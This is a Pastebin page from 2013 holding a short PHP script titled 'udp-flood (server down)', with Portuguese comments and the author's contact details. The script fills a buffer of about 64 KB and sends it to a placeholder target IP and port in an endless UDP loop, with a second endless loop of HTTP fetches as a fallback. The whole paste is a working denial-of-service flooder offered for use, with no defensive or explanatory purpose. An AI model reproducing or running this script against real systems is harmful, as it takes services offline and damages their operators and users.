Advertisement
ipsBruno

(PHP) udp-flood (server down)

Mar 2nd, 2013
427
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.69 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4.  
  5.    - Criado por Bruno da Silva
  6.    - email@brunodasilva.com
  7.    - www.facebook.com/ipsBruno
  8.    - www.mixmusicas.com.br
  9.  
  10. */
  11. ignore_user_abort(FALSE);
  12.  
  13. $ip = "IPDOALVOAQUI";
  14. $rand = PORTADOALVOAQUI;
  15. $out = "x";
  16.  
  17.  
  18.  
  19. for($i=0;$i<65535;$i++){
  20.         $out .= "X";
  21. }
  22.  
  23. if(function_exists('fsockopen'))
  24. {
  25.         while(1) { // loop infinito floodar o bagulho
  26.                 $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
  27.                 if($fp){
  28.                         fwrite($fp, $out);
  29.                         fclose($fp);  
  30.                 }
  31.         }
  32. }
  33. else {
  34.         while(1) {
  35.                 $fp = file_get_contents($ip.$rand);
  36.         }
  37. }
  38.  
  39. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement